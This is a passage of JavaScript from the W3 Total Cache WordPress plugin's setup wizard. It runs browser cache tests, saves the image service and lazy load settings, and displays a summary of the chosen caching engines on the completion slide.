.done(function( testResponse ) { var enabled = bcEnabled ? 'on' : 'off'; $container.find( '#test-results' ).data( 'bc-' + enabled, testResponse.data ); addResultRow( testResponse ); }); } else { addResultRow( [ success => false ] ); } } // Run config and tests. getBrowsercacheSettings() .then( function() { bcEnabled = 0; return configBrowsercache( bcEnabled ); }, configFailed ) .then( testBrowsercache, configFailed ) .then( function() { bcEnabled = 1; return configBrowsercache( bcEnabled ); } , testFailed ) .then( testBrowsercache, configFailed ) .then(function() { $spinnerParent.hide(); $this.prop( 'disabled', false ); $prevButton.prop( 'disabled', false ); $nextButton.prop( 'disabled', false ); return true; }, testFailed ) // Restore the original browser cache settings. .then( function() { return configBrowsercache( ( browsercacheSettings.enabled ? 1 : 0 ) ); }, function() { $spinnerParent.hide(); return configFailed(); }); }); break; case 'w3tc-wizard-slide-io1': // Save the browser cache setting from the previous slide. var browsercacheEnabled = $container.find( 'input:checked[name="browsercache_enable"]' ).val(); configBrowsercache( ( '1' === browsercacheEnabled ? 1 : 0 ) ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-browsercache .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-browsercache' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Image Service slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-imageservice' ).addClass( 'is-active' ); $dashboardButton.closest( 'span' ).hide(); $nextButton.closest( 'span' ).show(); $nextButton.prop( 'disabled', 'disabled' ); // Update the Image Service enable chackbox from saved config. getImageserviceSettings() .then( function() { $container.find( 'input#imageservice-enable' ).prop( 'checked', imageserviceSettings.enabled ); $nextButton.prop( 'disabled', false ); }, configFailed ); break; case 'w3tc-wizard-slide-ll1': // Save the image service setting from the previous slide. var imageserviceEnabled = $container.find( 'input:checked#imageservice-enable' ).val(); configImageservice( ( '1' === imageserviceEnabled ? 1 : 0 ) ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-imageservice .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-imageservice' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Lazy Load slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-lazyload' ).addClass( 'is-active' ); $dashboardButton.closest( 'span' ).hide(); $nextButton.closest( 'span' ).show(); $nextButton.prop( 'disabled', 'disabled' ); // Update the lazy load enable chackbox from saved config. getLazyloadSettings() .then( function() { $container.find( 'input#lazyload-enable' ).prop( 'checked', lazyloadSettings.enabled ); $nextButton.prop( 'disabled', false ); }, configFailed ); break; case 'w3tc-wizard-slide-complete': var html, pgcacheEngine = $container.find( 'input:checked[name="pgcache_engine"]' ).val(), pgcacheEngineLabel = $container.find( 'input:checked[name="pgcache_engine"]' ) .closest('td').next('td').text(), pgcacheDiffPercent = $container.find( '#test-results' ) .data( 'pgcacheDiffPercent-' + pgcacheEngine ), dbcacheEngine = $container.find( 'input:checked[name="dbcache_engine"]' ).val(), dbcacheEngineLabel = $container.find( 'input:checked[name="dbcache_engine"]' ) .closest('td').next('td').text(), objcacheEngine = $container.find( 'input:checked[name="objcache_engine"]' ).val(), objcacheEngineLabel = $container.find( 'input:checked[name="objcache_engine"]' ) .closest('td').next('td').text(), browsercacheEnabled = $container.find( 'input:checked[name="browsercache_enable"]' ).val(), imageserviceEnabled = $container.find( 'input#imageservice-enable' ).val(), lazyloadEnabled = $container.find( 'input:checked#lazyload-enable' ).val(); // Save the lazy load setting from the previous slide. configLazyload( ( '1' === lazyloadEnabled ? 1 : 0 ) ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-lazyload .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-lazyload' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Prevent leave page alert. jQuery( window ).off( 'beforeunload' ); // Present the Setup Complete slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-options-menu li' ).last().addClass( 'is-active' ); html = pgcacheDiffPercent !== undefined ? ( pgcacheDiffPercent > 0 ? '+' : '' ) + parseFloat( pgcacheDiffPercent ).toFixed( 2 ) + '%' : '0.00%'; $container.find( '#w3tc-ttfb-diff' ).html( html ); $container.find( '#w3tc-pgcache-engine' ).html( pgcacheEngineLabel ); $container.find( '#w3tc-dbcache-engine' ).html( dbcacheEngineLabel ); $container.find( '#w3tc-objcache-engine' ).html( objcacheEngineLabel ); $container.find( '#w3tc-browsercache-setting' ).html( browsercacheEnabled ? W3TC_SetupGuide.enabled : W3TC_SetupGuide.none ); $container.find( '#w3tc-imageservice-setting' ).html( imageserviceEnabled ? W3TC_SetupGuide.enabled : W3TC_SetupGuide.notEnabled ); $container.find( '#w3tc-lazyload-setting' ).html( lazyloadEnabled ? W3TC_SetupGuide.enabled : W3TC_SetupGuide.notEnabled ); if ( ! jQuery( '#test-results' ).data( 'completed' ) ) { jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: "w3tc_wizard_skip" } }) .done(function () { $container.find( '#test-results' ).data( 'completed', true ); }); } $nextButton.closest( 'span' ).hide(); $dashboardButton.closest( 'span' ).show(); break; default: break; } };